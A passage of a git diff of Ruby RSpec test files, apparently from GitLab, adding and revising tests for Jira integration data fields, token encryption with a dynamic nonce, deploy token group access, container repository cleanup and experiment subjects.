expect(described_class::USER_TYPES).to include(*described_class::INTERNAL_USER_TYPES)
diff --git a/spec/models/concerns/integrations/has_data_fields_spec.rb b/spec/models/concerns/integrations/has_data_fields_spec.rb
new file mode 100644
index 00000000000..54e0ac9c5a5
--- /dev/null
+++ b/spec/models/concerns/integrations/has_data_fields_spec.rb
@@ -0,0 +1,156 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::HasDataFields do
+ let(:url) { 'http://url.com' }
+ let(:username) { 'username_one' }
+ let(:properties) do
+ { url: url, username: username }
+ end
+
+ shared_examples 'data fields' do
+ describe '#arg' do
+ it 'returns an argument correctly' do
+ expect(service.url).to eq(url)
+ end
+ end
+
+ describe '{arg}_changed?' do
+ it 'returns false when the property has not been assigned a new value' do
+ service.username = 'new_username'
+ service.validate
+ expect(service.url_changed?).to be_falsy
+ end
+
+ it 'returns true when the property has been assigned a different value' do
+ service.url = "http://example.com"
+ service.validate
+ expect(service.url_changed?).to be_truthy
+ end
+
+ it 'returns true when the property has been assigned a different value twice' do
+ service.url = "http://example.com"
+ service.url = "http://example.com"
+ service.validate
+ expect(service.url_changed?).to be_truthy
+ end
+
+ it 'returns false when the property has been re-assigned the same value' do
+ service.url = 'http://url.com'
+ service.validate
+ expect(service.url_changed?).to be_falsy
+ end
+ end
+
+ describe '{arg}_touched?' do
+ it 'returns false when the property has not been assigned a new value' do
+ service.username = 'new_username'
+ service.validate
+ expect(service.url_changed?).to be_falsy
+ end
+
+ it 'returns true when the property has been assigned a different value' do
+ service.url = "http://example.com"
+ service.validate
+ expect(service.url_changed?).to be_truthy
+ end
+
+ it 'returns true when the property has been assigned a different value twice' do
+ service.url = "http://example.com"
+ service.url = "http://example.com"
+ service.validate
+ expect(service.url_changed?).to be_truthy
+ end
+
+ it 'returns true when the property has been re-assigned the same value' do
+ service.url = 'http://url.com'
+ expect(service.url_touched?).to be_truthy
+ end
+
+ it 'returns false when the property has been re-assigned the same value' do
+ service.url = 'http://url.com'
+ service.validate
+ expect(service.url_changed?).to be_falsy
+ end
+ end
+
+ describe 'data_fields_present?' do
+ it 'returns true from the issue tracker service' do
+ expect(service.data_fields_present?).to be true
+ end
+ end
+ end
+
+ context 'when data are stored in data_fields' do
+ let(:service) do
+ create(:jira_service, url: url, username: username)
+ end
+
+ it_behaves_like 'data fields'
+
+ describe '{arg}_was?' do
+ it 'returns nil' do
+ service.url = 'http://example.com'
+ service.validate
+ expect(service.url_was).to be_nil
+ end
+ end
+ end
+
+ context 'when service and data_fields are not persisted' do
+ let(:service) do
+ Integrations::Jira.new
+ end
+
+ describe 'data_fields_present?' do
+ it 'returns true' do
+ expect(service.data_fields_present?).to be true
+ end
+ end
+ end
+
+ context 'when data are stored in properties' do
+ let(:service) { create(:jira_service, :without_properties_callback, properties: properties) }
+
+ it_behaves_like 'data fields'
+
+ describe '{arg}_was?' do
+ it 'returns nil when the property has not been assigned a new value' do
+ service.username = 'new_username'
+ service.validate
+ expect(service.url_was).to be_nil
+ end
+
+ it 'returns initial value when the property has been assigned a different value' do
+ service.url = 'http://example.com'
+ service.validate
+ expect(service.url_was).to eq('http://url.com')
+ end
+
+ it 'returns initial value when the property has been re-assigned the same value' do
+ service.url = 'http://url.com'
+ service.validate
+ expect(service.url_was).to eq('http://url.com')
+ end
+ end
+ end
+
+ context 'when data are stored in both properties and data_fields' do
+ let(:service) do
+ create(:jira_service, :without_properties_callback, active: false, properties: properties).tap do |integration|
+ create(:jira_tracker_data, properties.merge(integration: integration))
+ end
+ end
+
+ it_behaves_like 'data fields'
+
+ describe '{arg}_was?' do
+ it 'returns nil' do
+ service.url = 'http://example.com'
+ service.validate
+ expect(service.url_was).to be_nil
+ end
+ end
+ end
+end
diff --git a/spec/models/concerns/issuable_spec.rb b/spec/models/concerns/issuable_spec.rb
index 14db9b530db..7b100b7a6f3 100644
--- a/spec/models/concerns/issuable_spec.rb
+++ b/spec/models/concerns/issuable_spec.rb
@@ -715,6 +715,12 @@ RSpec.describe Issuable do
expect(issue.total_time_spent).to eq(1800)
end
+ it 'stores the time change' do
+ spend_time(1800)
+
+ expect(issue.time_change).to eq(1800)
+ end
+
it 'updates issues updated_at' do
issue
@@ -735,6 +741,12 @@ RSpec.describe Issuable do
expect(issue.total_time_spent).to eq(900)
end
+ it 'stores negative time change' do
+ spend_time(-900)
+
+ expect(issue.time_change).to eq(-900)
+ end
+
context 'when time to subtract exceeds the total time spent' do
it 'raise a validation error' do
Timecop.travel(1.minute.from_now) do
diff --git a/spec/models/concerns/limitable_spec.rb b/spec/models/concerns/limitable_spec.rb
index 753e2a8ee5e..6b25ed39efb 100644
--- a/spec/models/concerns/limitable_spec.rb
+++ b/spec/models/concerns/limitable_spec.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
-require 'spec_helper'
+require 'fast_spec_helper'
+require 'active_model'
RSpec.describe Limitable do
let(:minimal_test_class) do
@@ -35,6 +36,28 @@ RSpec.describe Limitable do
instance.valid?(:create)
end
+
+ context 'with custom relation' do
+ before do
+ MinimalTestClass.limit_relation = :custom_relation
+ end
+
+ it 'triggers custom limit_relation' do
+ instance = MinimalTestClass.new
+
+ def instance.project
+ @project ||= Object.new
+ end
+
+ limits = Object.new
+ custom_relation = Object.new
+ expect(instance).to receive(:custom_relation).and_return(custom_relation)
+ expect(instance.project).to receive(:actual_limits).and_return(limits)
+ expect(limits).to receive(:exceeded?).with(instance.class.name.demodulize.tableize, custom_relation).and_return(false)
+
+ instance.valid?(:create)
+ end
+ end
end
context 'with global limit' do
diff --git a/spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb b/spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb
index 6f322a32a3b..671e51e3913 100644
--- a/spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb
+++ b/spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb
@@ -3,25 +3,99 @@
require 'spec_helper'
RSpec.describe TokenAuthenticatableStrategies::EncryptionHelper do
- let(:encrypted_token) { described_class.encrypt_token('my-value') }
+ let(:encrypted_token) { described_class.encrypt_token('my-value-my-value-my-value') }
describe '.encrypt_token' do
- it 'encrypts token' do
- expect(encrypted_token).not_to eq('my-value')
+ context 'when dynamic_nonce feature flag is switched on' do
+ it 'adds nonce identifier on the beginning' do
+ expect(encrypted_token.first).to eq(described_class::DYNAMIC_NONCE_IDENTIFIER)
+ end
+
+ it 'adds nonce at the end' do
+ nonce = encrypted_token.last(described_class::NONCE_SIZE)
+
+ expect(nonce).to eq(::Digest::SHA256.hexdigest('my-value-my-value-my-value').bytes.take(described_class::NONCE_SIZE).pack('c*'))
+ end
+
+ it 'encrypts token' do
+ expect(encrypted_token[1...-described_class::NONCE_SIZE]).not_to eq('my-value-my-value-my-value')
+ end
+ end
+
+ context 'when dynamic_nonce feature flag is switched off' do
+ before do
+ stub_feature_flags(dynamic_nonce: false)
+ end
+
+ it 'does not add nonce identifier on the beginning' do
+ expect(encrypted_token.first).not_to eq(described_class::DYNAMIC_NONCE_IDENTIFIER)
+ end
+
+ it 'does not add nonce in the end' do
+ nonce = encrypted_token.last(described_class::NONCE_SIZE)
+
+ expect(nonce).not_to eq(::Digest::SHA256.hexdigest('my-value-my-value-my-value').bytes.take(described_class::NONCE_SIZE).pack('c*'))
+ end
+
+ it 'encrypts token with static iv' do
+ token = Gitlab::CryptoHelper.aes256_gcm_encrypt('my-value-my-value-my-value')
+
+ expect(encrypted_token).to eq(token)
+ end
end
end
describe '.decrypt_token' do
- it 'decrypts token with static iv' do
- expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ context 'with feature flag switched off' do
+ before do
+ stub_feature_flags(dynamic_nonce: false)
+ end
+
+ it 'decrypts token with static iv' do
+ encrypted_token = described_class.encrypt_token('my-value')
+
+ expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ end
+
+ it 'decrypts token if feature flag changed after encryption' do
+ encrypted_token = described_class.encrypt_token('my-value')
+
+ expect(encrypted_token).not_to eq('my-value')
+
+ stub_feature_flags(dynamic_nonce: true)
+
+ expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ end
+
+ it 'decrypts token with dynamic iv' do
+ iv = ::Digest::SHA256.hexdigest('my-value').bytes.take(described_class::NONCE_SIZE).pack('c*')
+ token = Gitlab::CryptoHelper.aes256_gcm_encrypt('my-value', nonce: iv)
+ encrypted_token = "#{described_class::DYNAMIC_NONCE_IDENTIFIER}#{token}#{iv}"
+
+ expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ end
end
- it 'decrypts token with dynamic iv' do
- iv = ::Digest::SHA256.hexdigest('my-value').bytes.take(described_class::NONCE_SIZE).pack('c*')
- token = Gitlab::CryptoHelper.aes256_gcm_encrypt('my-value', nonce: iv)
- encrypted_token = "#{described_class::DYNAMIC_NONCE_IDENTIFIER}#{token}#{iv}"
+ context 'with feature flag switched on' do
+ before do
+ stub_feature_flags(dynamic_nonce: true)
+ end
+
+ it 'decrypts token with dynamic iv' do
+ encrypted_token = described_class.encrypt_token('my-value')
+
+ expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ end
+
+ it 'decrypts token if feature flag changed after encryption' do
+ encrypted_token = described_class.encrypt_token('my-value')
+
+ expect(encrypted_token).not_to eq('my-value')
+
+ stub_feature_flags(dynamic_nonce: false)
- expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ end
end
end
end
diff --git a/spec/models/container_repository_spec.rb b/spec/models/container_repository_spec.rb
index abaae5b059a..3232a559d0b 100644
--- a/spec/models/container_repository_spec.rb
+++ b/spec/models/container_repository_spec.rb
@@ -320,7 +320,7 @@ RSpec.describe ContainerRepository do
before do
group.parent = test_group
- group.save
+ group.save!
end
it { is_expected.to contain_exactly(repository, another_repository) }
@@ -331,6 +331,40 @@ RSpec.describe ContainerRepository do
it { is_expected.to eq([]) }
end
+
+ context 'with read_container_registry_access_level disabled' do
+ before do
+ stub_feature_flags(read_container_registry_access_level: false)
+ end
+
+ context 'in a group' do
+ let(:test_group) { group }
+
+ it { is_expected.to contain_exactly(repository) }
+ end
+
+ context 'with a subgroup' do
+ let(:test_group) { create(:group) }
+ let(:another_project) { create(:project, path: 'test', group: test_group) }
+
+ let(:another_repository) do
+ create(:container_repository, name: 'my_image', project: another_project)
+ end
+
+ before do
+ group.parent = test_group
+ group.save!
+ end
+
+ it { is_expected.to contain_exactly(repository, another_repository) }
+ end
+
+ context 'group without container_repositories' do
+ let(:test_group) { create(:group) }
+
+ it { is_expected.to eq([]) }
+ end
+ end
end
describe '.search_by_name' do
@@ -360,6 +394,17 @@ RSpec.describe ContainerRepository do
it { is_expected.to contain_exactly(repository1, repository2, repository4) }
end
+ describe '.with_stale_ongoing_cleanup' do
+ let_it_be(:repository1) { create(:container_repository, :cleanup_ongoing, expiration_policy_started_at: 1.day.ago) }
+ let_it_be(:repository2) { create(:container_repository, :cleanup_ongoing, expiration_policy_started_at: 25.minutes.ago) }
+ let_it_be(:repository3) { create(:container_repository, :cleanup_ongoing, expiration_policy_started_at: 1.week.ago) }
+ let_it_be(:repository4) { create(:container_repository, :cleanup_unscheduled, expiration_policy_started_at: 25.minutes.ago) }
+
+ subject { described_class.with_stale_ongoing_cleanup(27.minutes.ago) }
+
+ it { is_expected.to contain_exactly(repository1, repository3) }
+ end
+
describe '.waiting_for_cleanup' do
let_it_be(:repository_cleanup_scheduled) { create(:container_repository, :cleanup_scheduled) }
let_it_be(:repository_cleanup_unfinished) { create(:container_repository, :cleanup_unfinished) }
@@ -423,6 +468,14 @@ RSpec.describe ContainerRepository do
it { is_expected.to eq([repository]) }
end
+
+ context 'with repository cleanup started at after policy next run at' do
+ before do
+ repository.update!(expiration_policy_started_at: policy.next_run_at + 5.minutes)
+ end
+
+ it { is_expected.to eq([]) }
+ end
end
describe '.with_unfinished_cleanup' do
diff --git a/spec/models/cycle_analytics/project_level_stage_adapter_spec.rb b/spec/models/cycle_analytics/project_level_stage_adapter_spec.rb
index 9bdee292938..ee13aae50dc 100644
--- a/spec/models/cycle_analytics/project_level_stage_adapter_spec.rb
+++ b/spec/models/cycle_analytics/project_level_stage_adapter_spec.rb
@@ -33,6 +33,6 @@ RSpec.describe CycleAnalytics::ProjectLevelStageAdapter, type: :model do
end
it 'presents the data as json' do
- expect(subject.as_json).to include({ title: 'Review', value: 'about 1 hour' })
+ expect(subject.as_json).to include({ title: 'Review', value: 1.hour })
end
end
diff --git a/spec/models/deploy_token_spec.rb b/spec/models/deploy_token_spec.rb
index c8917a7dd65..dfc37f9e661 100644
--- a/spec/models/deploy_token_spec.rb
+++ b/spec/models/deploy_token_spec.rb
@@ -248,68 +248,54 @@ RSpec.describe DeployToken do
deploy_token.groups << group
end
- context 'and the allow_group_deploy_token feature flag is turned off' do
- it 'is false' do
- stub_feature_flags(allow_group_deploy_token: false)
-
- is_expected.to be_falsy
- end
+ context 'and the passed-in project does not belong to any group' do
+ it { is_expected.to be_falsy }
end
- context 'and the allow_group_deploy_token feature flag is turned on' do
- before do
- stub_feature_flags(allow_group_deploy_token: true)
- end
+ context 'and the passed-in project belongs to the token group' do
+ it 'is true' do
+ group.projects << project
- context 'and the passed-in project does not belong to any group' do
- it { is_expected.to be_falsy }
+ is_expected.to be_truthy
end
+ end
- context 'and the passed-in project belongs to the token group' do
- it 'is true' do
- group.projects << project
+ context 'and the passed-in project belongs to a subgroup' do
+ let(:child_group) { create(:group, parent_id: group.id) }
+ let(:grandchild_group) { create(:group, parent_id: child_group.id) }
- is_expected.to be_truthy
- end
+ before do
+ grandchild_group.projects << project
end
- context 'and the passed-in project belongs to a subgroup' do
- let(:child_group) { create(:group, parent_id: group.id) }
- let(:grandchild_group) { create(:group, parent_id: child_group.id) }
-
- before do
- grandchild_group.projects << project
- end
-
- context 'and the token group is an ancestor (grand-parent) of this group' do
- it { is_expected.to be_truthy }
- end
+ context 'and the token group is an ancestor (grand-parent) of this group' do
+ it { is_expected.to be_truthy }
+ end
- context 'and the token group is not ancestor of this group' do
- let(:child2_group) { create(:group, parent_id: group.id) }
+ context 'and the token group is not ancestor of this group' do
+ let(:child2_group) { create(:group, parent_id: group.id) }
- it 'is false' do
- deploy_token.groups = [child2_group]
+ it 'is false' do
+ deploy_token.groups = [child2_group]
- is_expected.to be_falsey
- end
+ is_expected.to be_falsey
end
end
+ end
- context 'and the passed-in project does not belong to the token group' do
- it { is_expected.to be_falsy }
- end
+ context 'and the passed-in project does not belong to the token group' do
+ it { is_expected.to be_falsy }
+ end
- context 'and the project belongs to a group that is parent of the token group' do
- let(:super_group) { create(:group) }
- let(:deploy_token) { create(:deploy_token, :group) }
- let(:group) { create(:group, parent_id: super_group.id) }
+ context 'and the project belongs to a group that is parent of the token group' do
+ let(:super_group) { create(:group) }
+ let(:deploy_token) { create(:deploy_token, :group) }
+ let(:group) { create(:group, parent_id: super_group.id) }
- it 'is false' do
- super_group.projects << project
+ it 'is false' do
+ super_group.projects << project
- is_expected.to be_falsey
- end
+ is_expected.to be_falsey
end
end
end
diff --git a/spec/models/deployment_metrics_spec.rb b/spec/models/deployment_metrics_spec.rb
index d0474777eb7..fadfc1b63ac 100644
--- a/spec/models/deployment_metrics_spec.rb
+++ b/spec/models/deployment_metrics_spec.rb
@@ -51,10 +51,10 @@ RSpec.describe DeploymentMetrics do
context 'with a cluster Prometheus' do
let(:deployment) { create(:deployment, :success, :on_cluster) }
- let!(:prometheus) { create(:clusters_applications_prometheus, :installed, cluster: deployment.cluster) }
+ let!(:prometheus) { create(:clusters_integrations_prometheus, cluster: deployment.cluster) }
before do
- expect(deployment.cluster.application_prometheus).to receive(:configured?).and_return(true)
+ expect(deployment.cluster.integration_prometheus).to receive(:configured?).and_return(true)
end
it { is_expected.to be_truthy }
@@ -118,7 +118,7 @@ RSpec.describe DeploymentMetrics do
expect(prometheus_adapter).to receive(:query).with(:additional_metrics_deployment, deployment).and_return(simple_metrics)
end
- it { is_expected.to eq(simple_metrics.merge({ deployment_time: deployment.created_at.to_i })) }
+ it { is_expected.to eq(simple_metrics.merge({ deployment_time: deployment.finished_at.to_i })) }
end
end
end
diff --git a/spec/models/diff_discussion_spec.rb b/spec/models/diff_discussion_spec.rb
index 26b311fe629..2a2663149d0 100644
--- a/spec/models/diff_discussion_spec.rb
+++ b/spec/models/diff_discussion_spec.rb
@@ -21,9 +21,9 @@ RSpec.describe DiffDiscussion do
describe '#merge_request_version_params' do
let(:merge_request) { create(:merge_request, source_project: project, target_project: project, importing: true) }
- let!(:merge_request_diff1) { merge_request.merge_request_diffs.create(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9') }
- let!(:merge_request_diff2) { merge_request.merge_request_diffs.create(head_commit_sha: nil) }
- let!(:merge_request_diff3) { merge_request.merge_request_diffs.create(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e') }
+ let!(:merge_request_diff1) { merge_request.merge_request_diffs.create!(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9') }
+ let!(:merge_request_diff2) { merge_request.merge_request_diffs.create!(head_commit_sha: nil) }
+ let!(:merge_request_diff3) { merge_request.merge_request_diffs.create!(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e') }
context 'when the discussion is active' do
it 'returns an empty hash, which will end up showing the latest version' do
diff --git a/spec/models/diff_note_spec.rb b/spec/models/diff_note_spec.rb
index 215c733f26b..2731eadecc0 100644
--- a/spec/models/diff_note_spec.rb
+++ b/spec/models/diff_note_spec.rb
@@ -167,7 +167,7 @@ RSpec.describe DiffNote do
end
it 'creates a diff note file' do
- subject.save
+ subject.save!
expect(subject.note_diff_file).to be_present
end
end
@@ -188,7 +188,7 @@ RSpec.describe DiffNote do
end
it 'raises an error' do
- expect { subject.save }.to raise_error(::DiffNote::NoteDiffFileCreationError,
+ expect { subject.save! }.to raise_error(::DiffNote::NoteDiffFileCreationError,
"Failed to find diff line for: #{diff_file.file_path}, "\
"old_line: #{position.old_line}"\
", new_line: #{position.new_line}")
@@ -201,7 +201,7 @@ RSpec.describe DiffNote do
end
it 'creates a diff note file' do
- subject.save
+ subject.save!
expect(subject.reload.note_diff_file).to be_present
end
end
@@ -544,7 +544,7 @@ RSpec.describe DiffNote do
it "does not update the position" do
expect(subject).not_to receive(:update_position)
- subject.save
+ subject.save!
end
end
diff --git a/spec/models/email_spec.rb b/spec/models/email_spec.rb
index cd0938682db..2b09ee5c190 100644
--- a/spec/models/email_spec.rb
+++ b/spec/models/email_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Email do
let(:user) { create(:user) }
it 'synchronizes the gpg keys when the email is updated' do
- email = user.emails.create(email: 'new@email.com')
+ email = user.emails.create!(email: 'new@email.com')
expect(user).to receive(:update_invalid_gpg_signatures)
diff --git a/spec/models/environment_spec.rb b/spec/models/environment_spec.rb
index 759bb080172..ff4c8ae950d 100644
--- a/spec/models/environment_spec.rb
+++ b/spec/models/environment_spec.rb
@@ -1157,51 +1157,6 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
end
end
- describe '#prometheus_status' do
- context 'when a cluster is present' do
- context 'when a deployment platform is present' do
- let(:cluster) { create(:cluster, :provided_by_user, :project) }
- let(:environment) { create(:environment, project: cluster.project) }
-
- subject { environment.prometheus_status }
-
- context 'when the prometheus application status is :updating' do
- let!(:prometheus) { create(:clusters_applications_prometheus, :updating, cluster: cluster) }
-
- it { is_expected.to eq(:updating) }
- end
-
- context 'when the prometheus application state is :updated' do
- let!(:prometheus) { create(:clusters_applications_prometheus, :updated, cluster: cluster) }
-
- it { is_expected.to eq(:updated) }
- end
-
- context 'when the prometheus application is not installed' do
- it { is_expected.to be_nil }
- end
- end
-
- context 'when a deployment platform is not present' do
- let(:cluster) { create(:cluster, :project) }
- let(:environment) { create(:environment, project: cluster.project) }
-
- subject { environment.prometheus_status }
-
- it { is_expected.to be_nil }
- end
- end
-
- context 'when a cluster is not present' do
- let(:project) { create(:project, :stubbed_repository) }
- let(:environment) { create(:environment, project: project) }
-
- subject { environment.prometheus_status }
-
- it { is_expected.to be_nil }
- end
- end
-
describe '#additional_metrics' do
let(:project) { create(:prometheus_project) }
let(:metric_params) { [] }
@@ -1434,30 +1389,14 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
let!(:cluster) { create(:cluster, :project, :provided_by_user, projects: [project]) }
let!(:deployment) { create(:deployment, :success, environment: environment, project: project, cluster: cluster) }
- context 'when app does not exist' do
+ context 'when integration does not exist' do
it 'returns false' do
expect(environment.elastic_stack_available?).to be(false)
end
end
- context 'when app exists' do
- let!(:application) { create(:clusters_applications_elastic_stack, cluster: cluster) }
-
- it 'returns false' do
- expect(environment.elastic_stack_available?).to be(false)
- end
- end
-
- context 'when app is installed' do
- let!(:application) { create(:clusters_applications_elastic_stack, :installed, cluster: cluster) }
-
- it 'returns true' do
- expect(environment.elastic_stack_available?).to be(true)
- end
- end
-
- context 'when app is updated' do
- let!(:application) { create(:clusters_applications_elastic_stack, :updated, cluster: cluster) }
+ context 'when integration is enabled' do
+ let!(:integration) { create(:clusters_integrations_elastic_stack, cluster: cluster) }
it 'returns true' do
expect(environment.elastic_stack_available?).to be(true)
diff --git a/spec/models/environment_status_spec.rb b/spec/models/environment_status_spec.rb
index 09a73a4cdcb..1b9b38a0932 100644
--- a/spec/models/environment_status_spec.rb
+++ b/spec/models/environment_status_spec.rb
@@ -245,6 +245,17 @@ RSpec.describe EnvironmentStatus do
end
end
+ context 'when there is a deployment in a child pipeline' do
+ let!(:child_pipeline) { create(:ci_pipeline, child_of: pipeline) }
+ let!(:child_build) { create(:ci_build, :with_deployment, :start_review_app, pipeline: child_pipeline) }
+ let(:child_environment) { child_build.deployment.environment }
+
+ it 'returns both parent and child entries' do
+ expect(subject.count).to eq(2)
+ expect(subject.map(&:id)).to contain_exactly(environment.id, child_environment.id)
+ end
+ end
+
context 'when environment is stopped' do
before do
environment.stop!
diff --git a/spec/models/experiment_spec.rb b/spec/models/experiment_spec.rb
index 1517f426fa3..7f0d1e69924 100644
--- a/spec/models/experiment_spec.rb
+++ b/spec/models/experiment_spec.rb
@@ -79,7 +79,7 @@ RSpec.describe Experiment do
context 'when an experiment with the provided name does not exist' do
it 'creates a new experiment record' do
allow_next(described_class, name: :experiment_key)
- .to receive(:record_group_and_variant!).with(group, variant)
+ .to receive(:record_subject_and_variant!).with(group, variant)
expect { add_group }.to change(described_class, :count).by(1)
end
@@ -235,23 +235,23 @@ RSpec.describe Experiment do
end
end
- describe '#record_group_and_variant!' do
- let_it_be(:group) { create(:group) }
+ describe '#record_subject_and_variant!' do
+ let_it_be(:subject_to_record) { create(:group) }
let_it_be(:variant) { :control }
let_it_be(:experiment) { create(:experiment) }
- subject(:record_group_and_variant!) { experiment.record_group_and_variant!(group, variant) }
+ subject(:record_subject_and_variant!) { experiment.record_subject_and_variant!(subject_to_record, variant) }
- context 'when no existing experiment_subject record exists for the given group' do
+ context 'when no existing experiment_subject record exists for the given subject' do
it 'creates an experiment_subject record' do
- expect { record_group_and_variant! }.to change(ExperimentSubject, :count).by(1)
+ expect { record_subject_and_variant! }.to change(ExperimentSubject, :count).by(1)
expect(ExperimentSubject.last.variant).to eq(variant.to_s)
end
end
- context 'when an existing experiment_subject exists for the given group' do
+ context 'when an existing experiment_subject exists for the given subject' do
let_it_be(:experiment_subject) do
- create(:experiment_subject, experiment: experiment, group: group, user: nil, variant: :experimental)
+ create(:experiment_subject, experiment: experiment, namespace: subject_to_record, user: nil, variant: :experimental)
end
context 'when it belongs to the same variant' do
@@ -266,7 +266,55 @@ RSpec.describe Experiment do
context 'but it belonged to a different variant' do
it 'updates the variant value' do
- expect { record_group_and_variant! }.to change { experiment_subject.reload.variant }.to('control')
+ expect { record_subject_and_variant! }.to change { experiment_subject.reload.variant }.to('control')
+ end
+ end
+ end
+
+ describe 'providing a subject to record' do
+ context 'when given a group as subject' do
+ it 'saves the namespace as the experiment subject' do
+ expect(record_subject_and_variant!.namespace).to eq(subject_to_record)
+ end
+ end
+
+ context 'when given a users namespace as subject' do
+ let_it_be(:subject_to_record) { build(:namespace) }
+
+ it 'saves the namespace as the experiment_subject' do
+ expect(record_subject_and_variant!.namespace).to eq(subject_to_record)
+ end
+ end
+
+ context 'when given a user as subject' do
+ let_it_be(:subject_to_record) { build(:user) }
+
+ it 'saves the user as experiment_subject user' do
+ expect(record_subject_and_variant!.user).to eq(subject_to_record)
+ end
+ end
+
+ context 'when given a project as subject' do
+ let_it_be(:subject_to_record) { build(:project) }
+
+ it 'saves the project as experiment_subject user' do
+ expect(record_subject_and_variant!.project).to eq(subject_to_record)
+ end
+ end
+
+ context 'when given no subject' do
+ let_it_be(:subject_to_record) { nil }
+
+ it 'raises an error' do
+ expect { record_subject_and_variant! }.to raise_error('Incompatible subject provided!')
+ end
+ end
+
+ context 'when given an incompatible subject' do
+ let_it_be(:subject_to_record) { build(:ci_build) }
+
+ it 'raises an error' do
+ expect { record_subject_and_variant! }.to raise_error('Incompatible subject provided!')
end
end
end
diff --git a/spec/models/experiment_subject_spec.rb b/spec/models/experiment_subject_spec.rb
index 4850814c5f5..d86dc3cbf65 100644
--- a/spec/models/experiment_subject_spec.rb
+++ b/spec/models/experiment_subject_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe ExperimentSubject, type: :model do
describe 'associations' do
it { is_expected.to belong_to(:experiment) }
it { is_expected.to belong_to(:user) }
- it { is_expected.to belong_to(:group) }
+ it { is_expected.to belong_to(:namespace) }
it { is_expected.to belong_to(:project) }
end
@@ -14,8 +14,8 @@ RSpec.describe ExperimentSubject, type: :model do
it { is_expected.to validate_presence_of(:experiment) }
describe 'must_have_one_subject_present' do
- let(:experiment_subject) { build(:experiment_subject, user: nil, group: nil, project: nil) }
- let(:error_message) { 'Must have exactly one of User, Group, or Project.' }
+ let(:experiment_subject) { build(:experiment_subject, user: nil, namespace: nil, project: nil) }
+ let(:error_message) { 'Must have exactly one of User, Namespace, or Project.' }
it 'fails when no subject is present' do
expect(experiment_subject).not_to be_valid
@@ -27,8 +27,8 @@ RSpec.describe ExperimentSubject, type: :model do
expect(experiment_subject).to be_valid
end
- it 'passes when group subject is present' do
- experiment_subject.group = build(:group)
+ it 'passes when namespace subject is present' do
+ experiment_subject.namespace = build(:group)
expect(experiment_subject).to be_valid
end
@@ -40,7 +40,7 @@ RSpec.describe ExperimentSubject, type: :model do
it 'fails when more than one subject is present', :aggregate_failures do
# two subjects
experiment_subject.user = build(:user)
- experiment_subject.group = build(:group)
+ experiment_subject.namespace = build(:group)
expect(experiment_subject).not_to be_valid
expect(experiment_subject.errors[:base]).to include(error_message)
@@ -51,4 +51,22 @@ RSpec.describe ExperimentSubject, type: :model do
end
end
end
+
+ describe '.valid_subject?' do
+ subject(:valid_subject?) { described_class.valid_subject?(subject_class.new) }
+
+ context 'when passing a Group, Namespace, User or Project' do
+ [Group, Namespace, User, Project].each do |subject_class|
+ let(:subject_class) { subject_class }
+
+ it { is_expected.to be(true) }
+ end
+ end
+
+ context 'when passing another object' do
+ let(:subject_class) { Issue }
+
+ it { is_expected.to be(false) }
+ end
+ end
end
diff --git a/spec/models/group_spec.rb b/spec/models/group_spec.rb
index 5cc5c4d86d6..8f4bc43c38a 100644
--- a/spec/models/group_spec.rb
+++ b/spec/models/group_spec.rb
@@ -517,6 +517,10 @@ RSpec.describe Group do
it { expect(group.self_and_descendants.to_sql).not_to include 'traversal_ids @>' }
end
+ describe '#self_and_descendant_ids' do
+ it { expect(group.self_and_descendant_ids.to_sql).not_to include 'traversal_ids @>' }
+ end
+
describe '#descendants' do
it { expect(group.descendants.to_sql).not_to include 'traversal_ids @>' }
end
@@ -533,6 +537,10 @@ RSpec.describe Group do
it { expect(group.self_and_descendants.to_sql).to include 'traversal_ids @>' }
end
+ describe '#self_and_descendant_ids' do
+ it { expect(group.self_and_descendant_ids.to_sql).to include 'traversal_ids @>' }
+ end
+
describe '#descendants' do
it { expect(group.descendants.to_sql).to include 'traversal_ids @>' }
end
@@ -1093,167 +1101,151 @@ RSpec.describe Group do
it { expect(subject.parent).to be_kind_of(described_class) }
end
- context "with member access" do
+ describe '#max_member_access_for_user' do
let_it_be(:group_user) { create(:user) }
- describe '#max_member_access_for_user' do
- context 'with user in the group' do
- before do
- group.add_owner(group_user)
- end
-
- it 'returns correct access level' do
- expect(group.max_member_access_for_user(group_user)).to eq(Gitlab::Access::OWNER)
- end
+ context 'with user in the group' do
+ before do
+ group.add_owner(group_user)
end
- context 'when user is nil' do
- it 'returns NO_ACCESS' do
- expect(group.max_member_access_for_user(nil)).to eq(Gitlab::Access::NO_ACCESS)
- end
+ it 'returns correct access level' do
+ expect(group.max_member_access_for_user(group_user)).to eq(Gitlab::Access::OWNER)
end
+ end
- context 'evaluating admin access level' do
- let_it_be(:admin) { create(:admin) }
-
- context 'when admin mode is enabled', :enable_admin_mode do
- it 'returns OWNER by default' do
- expect(group.max_member_access_for_user(admin)).to eq(Gitlab::Access::OWNER)
- end
- end
+ context 'when user is nil' do
+ it 'returns NO_ACCESS' do
+ expect(group.max_member_access_for_user(nil)).to eq(Gitlab::Access::NO_ACCESS)
+ end
+ end
- context 'when admin mode is disabled' do
- it 'returns NO_ACCESS' do
- expect(group.max_member_access_for_user(admin)).to eq(Gitlab::Access::NO_ACCESS)
- end
- end
+ context 'evaluating admin access level' do
+ let_it_be(:admin) { create(:admin) }
- it 'returns NO_ACCESS when only concrete membership should be considered' do
- expect(group.max_member_access_for_user(admin, only_concrete_membership: true))
- .to eq(Gitlab::Access::NO_ACCESS)
